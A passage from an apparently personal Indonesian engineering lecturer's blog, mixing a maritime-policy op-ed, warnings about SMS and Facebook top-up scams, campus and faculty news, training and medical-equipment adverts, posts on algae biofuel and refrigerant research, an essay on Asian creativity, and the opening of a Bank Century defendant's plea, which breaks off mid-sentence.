Keempat, persoalan klasifikasi industri maritim yang ada di tangan sebuah BUMN dibawah kendali Kementerian BUMN dan Kementerian Perhubungan, PT Biro Klasifikasi Indonesia (BKI), membuat industri maritim Indonesia semakin terpuruk. Semua kapal yang diklasifikasi atau disertifikasi oleh PT BKI, patut diduga tidak diakui oleh asuransi perkapalan kelas dunia atau kalaupun diakui, pemilik kapal harus membayar premi asuransi sangat mahal. Mengapa?

Hal tersebut patut diduga disebabkan dalam melakukan klasifikasi, PT BKI kurang profesional sehingga penilaiannya diragukan oleh semua pihak. Patut diduga PT BKI masih menganut paham dengan uang pelicin semua beres. Oleh sebab itu sebagian pemilik kapal tidak meregister kapalnya di Indonesia tetapi di Hong Kong, Malaysia atau Singapore. Akibatnya pelaksanaan UU No 17 tahun 2008 hanya retorika. Pengusaha kapal enggan meregister kapalnya di Indonesia karena klasifikasi yang dikeluarkan oleh PT BKI merupakan ‘pepesan kosong’ yang diragukan oleh semua lini sektor industri maritim global.

Langkah yang Harus Diambil Pemerintah

Jika industri maritim Indonesia mau berkembang dan siap bersaing dengan industri sejenis dikawasan, maka pemerintah dalam hal ini khususnya Kementerian Perhubungan, Kementerian Pendidikan Nasional, Kementerian BUMN dan Kementerian Keuangan harus membuka mata dan jangan mau dipengaruhi oleh para pelobi yang mewakili pihak-pihak yang mau untung sendiri tidak memikirkan bangsa ini.

Pertama, lakukan revitalisasi atau deregulasi di sektor fiskal sehingga kompetitif dengan beberapa Negara tetangga, kecuali Indonesia mau jadi pecundang terus. Kedua lakukan perombakan total dilingkungan lembaga pemberi klasifikasi sehingga dunia internasional pelayaran dan asuransi kerugian mengakui keberadaannya. Ketiga susun ulang kurikulum lembaga pendidikan maritim oleh Kemendiknas supaya Indonesia mempunyai SDM maritim yang berkualitas dan bertanggungjawab.

Beranikah Menteri Keuangan, Menteri Perhubungan, Menteri BUMN dan Menteri Pendidikan Nasional melakukan perubahan drastis tersebut? Sebenarnya saya ragu karena para menteri tidak berani bertindak (kecuali sidak) jika presiden belum memberikan titah. Jadi mohon kepada Presiden SBY yang sangat saya hormati untuk segera memberikan titah kepada keempat Menteri tersebut secepatnya, sebelum industri maritim Indonesia tinggal nama. Salam.

*) Agus Pambagio adalah Pemerhati Kebijakan Publik dan Perlindungan Konsumen.

SMS Nipu Jenis yang Lain

Tadi pagi saya terima salah satu jenis pesan SMS nipu.

Bunyinya seperti berikut:

Entar pagi berangkat dulu ke konter belikan mama pulsa As25ribu atau 50ribu di nomor baru mama ini nomornya 085215123818, soalnya mama ada masalah penting,.

-0-

Jangan pernah percaya SMS model begini. Nomor yang mengirim saya sertakan disini kali2 ada yang sama ngirim anda SMS nipu kaya gini: +6281998291261.-

Awas Hacker FB Nipu

-0-

Kiriman email dari seorang teman (named SS), untuk menjadi warning bagi kita bila kehilangan HP, atau Facebook kita di hacked orang.

-0-

Teman Mesin,

istri saya baru kena tipu di Face book, si pelaku bisa masuk ke face book atas nama teman SMA dan dia bilang dia ada di Singapur kehabisan pulsa dan minta kirimin pulsa, maka istriku mengirimnya, mula mula minta

Rp 100 000

lalu katanyakurang ditambahi jadi

500 000

lalu jadi

1 juta rupiah.

Setelah ditilpon ke temannya (ternyata lagi umroh di Mekah) baru ketahuan bahwa istri saya kena tipu hacker, dia bilang dia pernah kehilangan BB nya, mungkin terus dimanfaatkan oleh sihacker. Biar lebih waspada ini no hp si hacker

085297618542 dan 085262411212

(kali dia sudah ganti nomor)

Sepeda(han) di Kampus UI

Trayek sepeda santai tgl 27 sudah dijelajahi oleh pak Ardin. Lihat dalam video dan lagu (pasang speaker).-

Tim pendahulu sepedahan di kampus UI dbp Ardin Ichwan telah menyusuri trayek yang akan dilalui untuk acara alumni FTUI manminsib
tgl 27 Maret 2011
Routenya bisa dilihat dalam sajian video dan lagu termasuk pohon Baobab lambang kelestarian alam.
klik di https://koestoer.wordpress.com/2010/11/22/pohon-baobab-di-ui/
cerita lain bisa dilihat di:
lihat di https://koestoer.wordpress.com/

Solid Works Essential

TUJUAN

Dewasa ini perkembangan dunia desain dengan software SolidWorks sudah tidak bisa lagi kita pungkiri. Permintaan dunia industri manufaktur akan tenaga ahli teknik yg juga dibekali kemampuan SolidWorks semakin meningkat. Hal ini dibuktikan dengan banyaknya iklan – iklan lowongan kerja yg menyertakan keahlian SolidWorks sebagai salah satu persyaratanya. Silakan cari lowongan kerja untuk desain di google maupun situs pencari kerja semacam karir.com, b2b, jobindo, dan sebagainya.
Software Solidware memiliki kemampuan CAD dan CAE yang sangat baik. Kemampuan CAD dari Solidwork sangat cocok digunakan dalam industry yang berhubungan dengan Mold and Dies Design, Jig and Fixtures, Machine Design, dan Consumer Product Design.
Pelatihan ini bertujuan memberikan pelatihan dan bimbingan kepada peserta untuk menguasai SolidWorks untuk perancangan Part, Assembly, dan Gambar 2D & 3D serta analisis CAE-nya.

OUTLINE PELATIHAN SOLIDWORK

  • Solid Works Intelligent Feature Technology (SWIFT)
  • User Interface
  • Part Modeling
  • Working with DWG
  • Advance Surfacing
  • Sheet metal Design Tools
  • Weldment Design
  • Mold Design Tools
  • Assembly Modeling
  • Large Assembly Management
  • 2D Drawing Creation
  • Bill Of Material

Keterangan lebih lanjut lihat di:

http://www.msrhijau.com/politeknik/website/training.php

KONTAK:

PT. ANUGERAH HUDAYA RAHARJA

Jl. Moh. Kahfi I Gang Asem No. 12

Ciganjur, Jakarta Selatan-Indonesia

Telp. +62-21-7270250

Fax. +62-21-7270250

HP. +62-81-10592887

Email: muslimin_almasta@yahoo.com

Bike to Campus Alumni FTUI

Tim Advance Bike to Campus for Alumni of Manminsib, dbp Ardin Ichwan sabtu 05 Maret telah mulai menyusuri trayek di UI baik ringroad maupun track for bikers yg akan dilalui tgl 27Maret 2011 dua minggu lagi.

Usulan FUN WALK:
Dari Dekanat FTUI,
menyusur kekanan kearah Fak Ekonomi.
Kekanan lagi lewat Engineering Center,
Menuju Jembatan TEKSAS (Teknik Ekonomi Sastra dan Sosial).. Pemandangan indah disini.
BAiknya semua bawa digital camera buat fotow memotow.
Lalu tembu ke FIB (Ilmu Budaya). Kekiri nuju Pusat Studi Jepang tembus jalan kekanan arah Fasilkom. Traverse DRPM Science Park disamping dananu seb balairung. Istirahat fotow2 lagi krn pemandangan bagus arah perpustakaan dan masjid diseberang danau… besok diterusin deh..

Lihat video (maaf bsk baru diisi…)

Doktor T Mesin Gatot Prayogo

Telah berhasil mempertahankan disertasinya dan memperoleh gelar DOKTOR dalam bidang Ilmu Teknik Mesin yang dipertahankan dalam sidang terbuka Senat Akademik Univ Indonesia dipimpin oleh Ketua Dewan Guru Besar FTUI Prof Dr Harry Sudibyo Sutjokro, pada hari Kamis 04 Maret 2011

GATOT PRAYOGO

Dengan judul disertasi

Kerusakan Awal Makro Bahan Komposit GFRP Akibat Beban Tumbukan Berulang RAINDROP.

Promotor Prof Dr Ir Tresna P Soemardi SE MS, Ko-promotor Dr Ir Danardono AS DEA, Dr Ir Gandjar Kiswanto MENG. Penguji Prof Dr Ir Satryo Soemantri Brodjonegoro, Prof Dr Ir Anne Zulfia S MSc, Prof Dr Ir Yanuar MSc M Eng, Prof Ir Jamasri PhD.

Lahir di Ponorogo pada 28 Maret 1959 (… sehingga oleh Prof B Suryawan sedikit dikomentari: ” Semestinya beliau lulus dari UNDIP… Universitas Di Ponorogo…”). Lulus dari Teknik Mesin FTUI tahun 1984, menikah dengan Dr Iriawati dan dikaruniai putra Genki Imam Prayogo dan putri Ghina Rahmadinia Prayogo. MEng di Toyohashi Univ of Technology.

Mechanical Fair 2011

Mechanical Fair 2011 merupakan suatu rangkaian kegiatan yang bertemakan “Menuju Indonesia Mandiri” yang diselenggarakan oleh Ikatan Mahasiswa Mesin (IMM), Fakultas Teknik Universitas Indonesia.

Diselenggarakan di PUSAT STUDI JEPANG

3-4  Maret  2011

Saat ini ketergantungan terhadap energi fosil harus dikurangi dan dialihkan terhadap sumber-sumber energi terbarukan. Sudah diketahui bahwa Indonesia adalah negeri yang kaya akan sumber daya alam. Melimpahnya air, angin, panas bumi, ataupun biomassa dapat dimanfaatkan untuk dijadikan sumber energi alternatif pengganti BBM. Dengan eksploitasi dan pemberdayaan terhadap sumber energi alternatif ini akan membuat Indonesia lepas dari ketergantungan terhadap BBM yang akan secara tidak langsung juga akan mengurangi ketergantungan Indonesia dari negara lain.

Hal yang juga penting dalam membangun sebuah negara yang mandiri adalah mandiri dalam hal ekonomi. Salah satu cara yang dapat dilakukan adalah terus mengembangkan industri-industri strategis dalam negeri. Saat ini dibutuhkan perhatian yang ekstra dari pemerintah untuk terus mengembangkan industri-industri dalam negeri. Dengan mengembangkan industri-industri ini akan membuat kebutuhan dalam negeri terpenuhi bahkan industri-industri tersebut dapat bersaing di perdagangan internasional. Dampaknya adalah Indonesia akan menjadi negara yang mandiri dalam ekonomi.

Perubahan, satu kata yang tak asing dilontarkan oleh masyarakat di Indonesia. Pria-wanita, tua-muda, kaya-miskin, semua menuntut perubahan terhadap negeri tercinta kita, Indonesia. Namun, satu hal yang perlu diketahui, perubahan tidak akan terjadi tanpa tindakan.

Saatnya Indonesia bangkit dengan penuh percaya diri. Melaksanakan pemberdayaan sumber daya manusia (SDM) dan sumber daya alam (SDA) yang telah tersedia dengan tepat sasaran. Sebagai anak bangsa sudah sepatutnya kita berkontribusi untuk membangun bangsa Indonesia menuju Indonesia Mandiri. Kontribusi tentunya tidak semata-mata dilihat dari seberapa banyak kontribusi kita tapi seberapa niat kita memberikan suatu kontribusi. Yakinilah bahwa Indonesia mampu bangkit dari segala keterpurukan, membawa rakyat dan bangsanya kepada kemakmuran dan kesejahteraan.

Mari menuju Indonesia mandiri!


-0-

Tadi waktu saya datang ada talkshow yang dipandu oleh Prof Yulianto. Pembicaranya adalah Ir H Ibnu Susilo dari PT Fin Komodo Teknologi dan Triono Priohutomo Deputy Direktur R&D PT PINDAD (Persero).

-0-

KEGIATANNYA ANTARA LAIN.

Pre-Event

  1. Uji emisi gratis yang akan diadakan di lingkungan Universitas Indonesia dan disertai dengan pembagian flyer-flyer acara mechanical fair.
  2. Mechanical Goes To HI yaitu kegiatan bersepeda pada waktu car free day dan bertujuan untuk mempublikasikan lebih luas acara Mechanical Fair 2011
  3. Donor darah yang akan diadakan pada tanggal 2 Maret 2011, di engineering center FT UI depok. Kegiatan ini bekerja sama dengan Palang Merah Indonesia (PMI) depok

Lomba Fotografi

Lomba ini bertemakan “Human and Technology” (keterkaitan antara manusia dengan teknologi yang ada di sekitarnya) yang ditujukan kepada siswa/i SMA se-Jabodetabek, mahasiswa di tingkat Nasional, dan masyarakat umum . Kategori kamera yang digunakan adalah digital/DSLR dan lomo. Lomba akan diadakan pada masa pre-event, sedangkan pengumuman pemenang dan pemajangan hasil foto akan dilaksanakan pada masa event.

Lomba Karya Tulis Mahasiswa

Lomba Karya Tulis Mahasiswa (LKTM) Mechanical Fair 2011 merupakan wadah nyata bagi rekan-rekan mahasiswa-mahasiswi universitas se-Indonesia untuk menyalurkan gagasan-gagasan kreatif guna mengatasi permasalahan transportasi kota-kota besar di Indonesia. Gagasan-gagasan yang bisa menjadi opsi solusi strategis transportasi darat, sebagai upaya mengakomodasi kepadatan penduduk Indonesia. Lomba ini bertemakan “Solusi Strategis Permasalahan Transportasi Darat, Sebagai Upaya Mengakomodasi Kepadatan Penduduk Kota Besar di Indonesia.” Lomba ini dilaksanakan pada masa pre-event dan pemenang akan diumumkan pada masa event.

Lomba Creative Design

Lomba ini mengambil tema “Design Your Own Machine” yang ditujukan kepada mahasiswa di tingkat Nasional. Desain alat mekanik yang inovatif dan berhubungan dengan teknik mekanikal. Lomba akan diadakan pada masa pre-event, sedangkan pengumuman pemenang dan pemajangan hasil design akan dilaksanakan pada masa event.

Seminar

  1. Seminar dengan tema : ” Peran Industri Strategis Dalam Negeri untuk Kemandirian Indonesia”
  2. Seminar Perkapalan dengan tema: “Mau Dibawa Kemana Industri Perkapalan Indonesia ?”
  3. Seminar dengan tema : ”Potensi Sumber Daya Lokal Untuk Kemandirian Energi Di Daerah”
  4. Seminar dengan tema : “Kemajuan Teknologi Eco Vehicle Indonesia”

Bazaar dan Expo

Bazaar merupakan area khusus yang digunakan oleh beberapa pihak untuk menjual produk-produk seperti makanan dan minuman. Expo merupakan ajang bagi beberapa perusahaan untuk melakukan display produk dan mendirikan stand yang bertujuan untuk mengenalkan produk dan melakukan promosi kepada para pengunjung. Expo juga digunakan untuk menunjukkan hasil karya peserta lomba Fotografi dan Creative Design, dan pameran karya-karya Departemen Teknik Mesin FTUI.


Awas SMS Nipu

Saya dapat kiriman SMS dari seseorang yang tidak bertanggung jawab. Modus tipu muslihat spt ini saya perkirakan banyak juga dipraktekkan untuk orang lain.

Harap berhati-hati dan ingatkan anak-anak anda jangan mudah percaya pada SMS tipuan, yang seperti dibawah ini:

-0-

ini Mama,lg pinjam hp org,tlng beliin pulsa 50rb,di nomor barunya Mama:

081386538235.

Mama lg ada mslh, jgn dlu tlp/sms.nnti Mama yg tlp,Penting

-0-

Adapun nomor yang mengirim SMS diatas adalah : +628170138904.

 

 

AMEDIC Produk Alat Kesehatan

FABRIKASI ALAT KESEHATAN

TRANSPORT INCUBATOR

INFANT INCUBATOR

 

Amedic Incubators

Tersedia 3 model

High-end incubator, Infant warmer dan Phototerapy

Untuk bisa melihat lebih jelas di klik saja

OXYGEN HOODS
AMX-501
AMX-A01x
Specification :
Dimension 730 (L)x 630mm (W)x 1400mm (H)
Power supply AC 50Hz;240 V, 250 Watt
Thermocontroller On/off
Thermocouple K-Type Censor
AMX-A011 Ø150mm
Ø200mm
Ø250mm
Specification :
Clear Acrylic Pipe 5mm thick
AMX-A012
AMX-A013
OXY Hoods is develop to deliver oxygen in a less restrictive and
stressful environment
AMX-503

Specification :

Stretcher Dimension 870 (W) x 430 (D) x 720mm (H)
Recirculating Humidifier
Wall Temperature
220 V, 50Hz AC & 12 V DC (Dry cell,max 3 hours)
Humidity Indicator

Dimension 980 (W) x 800mm (H)
AMEDIC is one of Indonesian Medical Manufacturer
that focused on delivering innovative medical product’s
solution that can improve your business process
in satisfying your customers
We always serve our customer to deliver
best products which compete in technology and ease
of operation and maintenance as well
As a technology company, we have developed
comprehensive know-how in the field
of Electro Medical Devices

AMEDIC
MEDICAL EQUIPMENT MANUFACTURER

BSD Plaza Sektor IV Blok RD/67
Telp : 62 21-538 7301 Facs : 62 21-538 7301

Contact:   Ramadita Budhi
Email :       ramaditabudhi@yahoo.com
HP:            +628161924335

amedic
MEDICAL EQUIPMENT MANUFACTURER
PRODUCT CATALOGUE

amedic
MEDICAL EQUIPMENT MANUFACTURER
Specification :
Dimension 1.000 (L) x 650 (W) x 1.350mm (H)
Low Energy Consumption, 300 Watt, 180-240V
Integrated Skin and Air Censors
Thermocouple K-Type Censor
Temperature Alarm
LED Indicator
INFANT INCUBATOR
AMX-505 AMX-701 AMX-903
INFANT WARMER PHOTOTHERAPY
AMEDIC’s Neonatal Products design with innovative and the latest future state-of-the-art technologies.
These are high-technology equipment that use intelligent control system and user friendly operation,
that especially designed to fully meet the user’s expectations.
Specification :
Dimension 600 (L) x 680 (W) x 1.200 – 1700mm (H)
Power Requirement AC 220 V, 50 HZ, 110-240 VA
Lamp house angle 30 degree to every direction
Blue light wave length 420-475 nm
Blue light radiation power min 450µ W/cm2
Timer can be used max 24 hours countdown
LCD digital timer to record patient time therapy and usage

Biofuel dari lumut

Salah satu pengembangan energi alternatif ii adalah Bahan Bakar Nabati. DI Depok telah dikembangkan Biofuel yang berasal dari lumut (algae atau ganggang). TPLIT Depok di desa Sukmajaya yaitu tempat pembuangan limah manusia… maaf ..tinja. Disitulah telah di kembangkan ganggang yang memakan kototran2 atau CO2 yang kemudian dengan melalui beberapa proses fermentasi bisa didapatkan minyaknya yaitu biofuel yang selanjutnya dipakai sebagai aditif premium. Oktan yang didapat dengan campuran 5-10% bisa meningkat menjadi setara pertamax bahkan pertamax-plus.
Kunjungan mahasiswa mesin FTUI diprakarsai oleh dosen KKE pak Raldi yang mendapat akses ke TPLIT ini dari ahli ganggangnya sendiri Prof Ricky S. Wee. Visit dilaksanakan pada tgl 26 Feb 2011 sebagai kelanjutan dari kuliah energi alternatif pada mata kuliah KKE (Konversi dan Konservasi Energi) dimana satu sessi diisi oleh pak Ricky dengan memperkenalkan Bahan Bakar Nabati dari ganggang ini. Ganggang ini menyerap banyak CO2 sehingga TPLIT ini tidak berbau samasekali… oke kan ?
Sudah lebih dari satu bulan mobil saya panther menggunakan biodiesel dari lumut ini dan walaupun hanya dirasakan saja (oleh supir saya) kelihatannya memang jadi lebih baik kinerjanya. Pertama yang jelas jadi lebih hemat, lalu getarannya lebih halus dan pada kecepatan tinggi terasa lebih stabil. Mereka yang memakai biofuel ganggang ini (premium), laju kecepatan jadi meningkat, apalagi motor. Mahasiswa semua motornya dikasi biofuel, dan ternyata mereka bilang jadi lebih enak dan lebih laju.
TPLIT – Tempat Pembuangan Limbah Terpadu.
-0-
Penelitian tentang bahan bakar nabati pada dasarnya telah dilakukan selama beberapa puluh tahun terakhir (teks ini bahannya ngambil sana sini dari internet terutama). Berbagai jenis bahan bakar nabati dikembangkan mulai dari Jagung, Singkong, Jarak dan beberapa bahan pangan lainnya juga telah dilakukan. Selain bahan pangan yang telah disebutkan tadi, pengembangan bahan bakar nabati dari Alga (ganggang) juga dilakukan, terutama oleh negara negara maju seperti Amerika, Jerman, Jepang dan negara maju lainnya.
Mereka telah membuat penelitian dan pengembangan alga secara alamiah dengan ataupun dengan bio reaktor yang dikelola secara modern dengan peralatan modern yang berharga milyaran dolar. Namun sampai saat ini terkait dengan isu global warming, banyak perusahaan-perusahaan di dunia yang berusaha mencari “alternative fuel” dengan prinsip ramah lingkungan alias ” Go Green”, contohnya, perusahaan penerbangan raksasa British Airways dan Airbus mensponsori penelitian yang dilakukan Universitas Cranfield, Inggris. Tim Peneliti ini mempelajari cara memanen ganggang (algae) untuk bahan bakar pesawat jet. Ganggang dapat dapat diolah menjadi bahan bakar ” biofuel” dengan kandungan karbon yang rendah, ekonomis, dan ramah lingkungan. Ganggang dipilih karena tidak bersinggungan langsung dengan kapasitas sumber pangan manusia. Ganggang juga tidak merampas lahan pertanian. Tantangannya adalah menyediakan bahan bakar bio dalam jumlah besar yang cocok untuk segala jenis pesawat yang ada tanpa mengubah mesin. Anggota Tim Peneliti dari Universitas Cranfield menyatakan bahwa ganggang dapat diproduksi secara komersil dalam kurun waktu 4 tahun mendatang. Ganggang memiliki keunggulan dibandingkan “biofuel” yang lain yakni bisa dipanen setelah berumur 7-12 hari, atau 30-50 kali dalam setahun. Penerbangan dengan biofuel diperkirakan dapat mengurangi emisi gas CO2 lebih dari 80 persen, dan biaya bahan bakar juga semakin ekonomis.
Kebanyakan penelitian yang dilakukan di negara-negara maju mengalami hambatan karena mereka hanya memiliki musim panas selama 4 (empat) bulan setiap tahun. Hal ini berdampak pada biaya operasional yang sangat tinggi karena pengembangbiakan alga tersebut harus dilakukan di dalam ruangan dalam kondisi temperatur yang harus dijaga agar alga dapat tumbuh dengan baik. Proses ini membutuhkan biaya yang sangat besar sehingga skala ekonomis untuk produksi massal belum tercapai.
Perbedaan sangat besar terjadi dengan kondisi alam di Indonesia. Matahari bersinar sepanjang tahun atau 365 hari setiap tahun selama lebih dari 10 jam per hari. Alga (ganggang) memerlukan sinar matahari untuk menghasilkan fotosintesa dengan menyerap CO2 dan menghasilkan O2 untuk pertumbuhannya. Oleh karena itu, iklim di Indonesia sangat cocok untuk produksi Alga dalam jumlah besar, baik untuk jenis alga air tawar ataupun alga air laut. Sumber daya alam yang melimpah juga mendukung produksi Alga dengan biaya murah dan hasil yang lebih besar dibandingkan dengan produksi di negara lain.
Dampak positif lain yang tidak kalah pentingnya dari pengembang biakan Alga ini adalah proses produksi akan mengurangi kadar CO2 di udara, dan menghasilkan O2 untuk lingkungan udara yang cukup baik.

Refrigerant Alternatif Suhu Rendah

Guna mendapatkan suhu sangat rendah (ultra low temperature) sampai dengan -80C digunakan campuran antara CO2 dengan ethane. Penelitian ini merupakan salah satu topik kajian Pendingin di Dep Teknik Mesin FTUI yang dipimpin oleh ustad Muhammad Idrus Alhamid. Campuran didaerah 60/40 menunjukkan COP yang baik sejauh ini. Demikian disampaikan oleh
DARWIN RB SAKYA
dalam ujian Penelitian II dalam rangka program S3 nya. Walaupun suhu rendah itu bisa dicapai dengan sistem kaskade namun kondisi pengujian sampai saat ini masih belum stabil. Berbagai kendala muncul yang belum sepenuhnya diantaranya kemungkinan terjadi pengkristalan di pipa kapiler. Penelitian masih dilanjutkan agar bisa menggantikan sistem fluida kerja HFC yang sampai saat ini masih digunakan. Kyoto protokol membatasi penggunaan HFC untuk suhu sangat rendah ini sampai tahun 2020.

Lihat video dan powerpoint:

(Ral).-

Kenapa koq gak kreatip ?

Mengapa bangsa Asia kalah kreatif dari bangsa Barat?

(Dikutip dari sebuah milis).-

Prof. Ng Aik Kwang dari University of Queensland, dalam bukunya Why

Asians Are Less Creative Than Westerners (2001) yang dianggap kontroversial tapi ternyata menjadi best seller.

(www.idearesort.com/trainers/T01.p) mengemukakan beberapa hal ttg bangsa-bangsa Asia yang telah membuka mata dan pikiran banyak orang.

1. Bagi kebanyakan org Asia, dlm budaya mereka, ukuran sukses dalam hidup adalah banyaknya materi yang dimiliki (rumah, mobil, uang dan harta lain). Passion (rasa cinta thdp sesuatu) kurang dihargai. Akibatnya, bidang kreatifitas kalah populer oleh profesi dokter, lawyer, dan sejenisnya yang dianggap bisa lebih cepat menjadikan seorang utk memiliki kekayaan banyak.

2. Bagi org Asia, banyaknya kekayaan yg dimiliki lbh dihargai drpd CARA memperoleh kekayaan tersebut. Tidak heran bila lebih banyak orang menyukai ceritera, novel, sinetron atau film yang bertema orang miskin jadi kaya mendadak karena beruntung menemukan harta karun, atau dijadikan istri oleh pangeran dan sejenis itu. Tidak heran pula bila perilaku koruptif pun ditolerir/ diterima sbg sesuatu yg wajar.

—- ini contoh orang yg gak kreatip —

3. Bagi org Asia, pendidikan identik dengan hafalan berbasis kunci jawaban bukan pada pengertian. Ujian Nasional, tes masuk PT dll semua berbasis hafalan. Sampai tingkat sarjana, mahasiswa diharuskan hafal rumus2 Imu pasti dan ilmu hitung lainnya bukan diarahkan utk memahami kapan dan bagaimana menggunakan rumus rumus tersebut.

4. Karena berbasis hafalan, murid2 di sekolah di Asia dijejali sebanyak mungkin pelajaran. Mereka dididik menjadi Jack of all trades, but master of none (tahu sedikit sedikit ttg banyak hal tapi tidak menguasai apapun).

5. Karena berbasis hafalan, banyak pelajar Asia bisa jadi juara dlm Olympiade Fisika, dan Matematika. Tapi hampir tidak pernah ada org Asia yang menang Nobel atau hadiah internasional lainnya yg berbasis inovasi dan kreativitas.

6. Orang Asia takut salah (KIASI) dan takut kalah (KIASU). Akibat-nya sifat eksploratif sbg upaya memenuhi rasa penasaran dan keberanian untuk mengambil resiko kurang dihargai.

7. Bagi kebanyakan bangsa Asia, bertanya artinya bodoh, makanya rasa penasaran tidak mendapat tempat dalam proses pendidikan di sekolah.

8. Karena takut salah dan takut dianggap bodoh, di sekolah atau dalam seminar atau workshop, peserta jarang mau bertanya tetapi stlh sesi berakhir peserta mengerumuni guru / narasumber utk minta penjelasan tambahan.

Bila anda juga tertarik utk mengetahui lebih banyak silahkan search di Google .

Dalam bukunya Prof.Ng Aik Kwang menawarkan bbrp solusi sbb:

1. Hargai proses. Hargailah org krn pengabdiannya bukan karena kekayaannya.

2. Hentikan pendidikan berbasis kunci jawaban. Biarkan murid memahami bidang yang paling disukainya.

3. Jangan jejali murid dgn banyak hafalan, apalagi matematika. Untuk apa diciptakan kalkulator kalau jawaban utk X x Y harus dihapalkan? Biarkan murid memilih sedikit mata pelajaran tapi benar2 dikuasainya.

4. Biarkan anak memilih profesi berdasarkan PASSION (rasa cinta) nya pada bidang itu, bukan memaksanya mengambil jurusan atau profesi tertentu yg lebih cepat menghasilkan uang

5. Dasar kreativitas adlh rasa penasaran & berani ambil resiko. AYO BERTANYA!

6. Guru adlh fasilitator, bukan dewa yang harus tahu segalanya. Mari akui dgn bangga kalau kita tidak tahu.

7. Passion manusia adalah anugerah Tuhan..sebagai orang tua kita bertanggung-jawab untuk mengarahkan anak kita untuk menemukan passionnya dan mensupportnya. Mudah2an dengan begitu, kita bisa memiliki anak-anak dan cucu yang kreatif, inovatif tapi juga memiliki integritas dan idealisme tinggi tanpa korupsi.

Training UKM Sukabumi

Program Pengabdian Masyarakat Universitas Indonesia, dilaksanakan dengan berbagai cara. Salah satunya proyek pengmas dosen dari FTUI adalah Training pembuatan Rancangan Bisnis dipimpin oleh:
Bapak Hendri DS Budiono
Dosen DTM-FTUI. Pelaksanaannya diatur oleh timnya beberapa orang diantaranya Dedi Rahmat, Dedi Heri dan M. Reza. Sedangkan pelaksanaannya dari tgl 16 s/d 18 Feb 2011.
Saya berpartisipasi dihari pertama untuk Ice-braking jam 9-12.
Seperti biasa, saya ambil video para peserta dari Sukabumi, diantaranya ada tiga wanita.

Kelas ETIKA 2011

Kelas ETIKA 2011 dengan jumlah students sebanyak 90 orang, membahas tentang tugas pertama

PEDULI KAUM MARGINAL.

Penjelasan oleh dosen sekaligus pemaparan contoh-contoh yang telah dilakukan oleh mahasiswa semester lalu.

Satu gambar bicara seribu kata.

Satu video bicara sejuta kata…

So… Lihat saja videonya.

Semoga kelas ini bisa bermanfaat untuk masyarakat banyak dan pada saatnya nanti bermanfaat untuk bangsa dan negara.-

Alamat Baru PT SUI

PT Sekawan Utama Internasional
Bumi Serpong Damai
Sektor IV Blok RD/67
(dekat Plaza BSD)

Line of Business:

             – Medical Equipment

             – Green vehicle manufacturing

             – Mineral processing

Kontak person:

Ramadita Budhi Wardana

                 Email    Ramaditabudhi@ahoo.com

                  HP         0816 1924 335

Kasus Century Korbankan Seorang Ibu

Kasus Bank Century perlu kambing hitam seorang Ibu yang membantu suami menafkahi keluarga.

Assalamu alaikum Warrahmatullahi Wabarakatuh, salam sejahtera para hadirin sekalian. Yang Mulia Ketua Majelis Hakim Yang Mulia Anggota Majelis Hakim Yang saya hormati Penuntut Umum, Panitera Pengadilan Negeri Jakarta Pusat yang mengikuti persidangan ini dan Penasihat Hukum Suamiku, anak-anakku, Kakak-kakakku dan adik-adikku, Teman-teman Solidaritas 80 FHUI, teman-teman ILUNI FHUI, Teman-teman ex PT Bank Merincprp, teman-teman SMA St. Theresia angkatan 1977, teman-teman SMPN1 Jakarta angkatan 1976 dan para sahabat serta Hadirin yang budiman termasuk teman-teman media elektronik dan cetak yang meliput sidang ini Pertama-tama saya panjatkan puji syukur ke hadirat Allah swt dan shalawat kepada Rasulullah Muhammad Saw, disertai doa semoga Yang mulia Ketua Majelis Hakim, Yang Mulia Anggota Majelis Hakim beserta seluruh keluarga senantiasa dikaruniai nikmat sehat, berkah dan lindungan dari Allah swt. Doa yang sama saya panjatkan ke hadirat Allah swt untuk yang Mulia Ketua dan Wakil Ketua Pengadilan Negeri Jakarta Pusat beserta seluruh jajaran Hakim Pengadilan Negeri Jakarta Pusat beserta seluruh keluarga.

Doa yang sama saya panjatkan kepada Yang saya hormati Penuntut Umum, Penasihat Hukum, Panitera Pengadilan Negeri Jakarta Pusat beserta keluarga. Dengan kerendahan hati saya menghaturkan terima kasih kepada Yang Mulia Majelis Hakim, yang telah memberikan kesempatan kepada saya untuk menyampaikan Pledoi Pribadi sehingga saya dapat menjelaskan berbagai hal yang seberarnya terjadi di dalam kasus pemberian 4 kredit di PT Bank Century Tbk yang menimpa saya. Saya berharap pledoi ini dapat menjadi bahan pertimbangan sehingga putusan yang diambil YangMulia Majelis Hakim adalah putusan yang seadil-adilnya. Izinkanlah saya memulai Pledoi Pribadi ini dengan menjelaskan apa yang sebenarnya terjadi pada diri saya sehingga saya diajukan ke ruang sidang ini untuk di adili. Seorang isteri sekaligus ibu dari 3 orang anak yang ingin beribadah membantu suami menafkahi keluarganya : Pada tahun 2003 dikarena PT Bank Merincorp salah satu anak perusahan PT Bank Mandiri dimana saya bekerja harus ditutup dengan cara self liquidation, maka saya menjadi seorang pengangguran. Berbekal uang pisah dari PT Bank Merincorp saya membantu suami dengan menjual mukena dan bahan baju muslim dengan hiasan bordiran. Namun karena saya tidak pandai berdagang, usaha saya tidak berkembang dan malah tertipu oleh orang-orang yang mengambil dulu dagangan saya untuk dibayar kemudian namun tidak pernah terbayar dengan alasan macam-macam.

Kemudian saya bertanya ke beberapa teman yang sekiranya dapat membantu saya memberikan pekerjaan, namun dengan usia 42 tahun pada saat itu untuk seorang wanita kiranya agak sulit untuk diterima bekerja. Kemudian atas bantuan salah seorang teman angkatan 80 di FHUI pada tahun 2004 saya diterima bekerja di kantornya yang bergerak di agen property di Bintaro, namanya Raine n Horne. Kantor ini tidak memberikan gaji, tetapi hanya memberikan komisi apabila saya berhasil menjual rumah yang dititipjual disana. Bekerja beberapa bulan disana lagi-lagi karena saya tidak pandai berdagang maka saya menganggap saya tidak mampu menjadi pedagang padahal saat itu saya mulai hamil anak ke tiga yang menyebabkan saya pamit kepada teman saya untuk tidak bekerja lagi di kantor agen property itu. Kemudian pada bulan Maret 2005, putri ke tiga saya lahir. Gaji suami yang pada waktu itu sebagai seorang staf dirasa tidak mencukupi biaya hidup kami sehari-hari walaupun kami telah menjadi agen penjualan air dalam kemasan bermerek dagang Oso. Sebagai ibu rumah tangga dan pengangguran saat itu, benar-benar terasa hari demi hari keresahan di dalam hati saya untuk segera bekerja membantu suami. Namun kembali saya merasakan sulitnya sebagai seorang wanita di usia 44 tahun mencari pekerjaan bukanlah hal yang mudah. Dengan niat yang teramat tulus dari seorang isteri yang pada saat itu dalam usia 44 tahun dan baru melahirkan anak 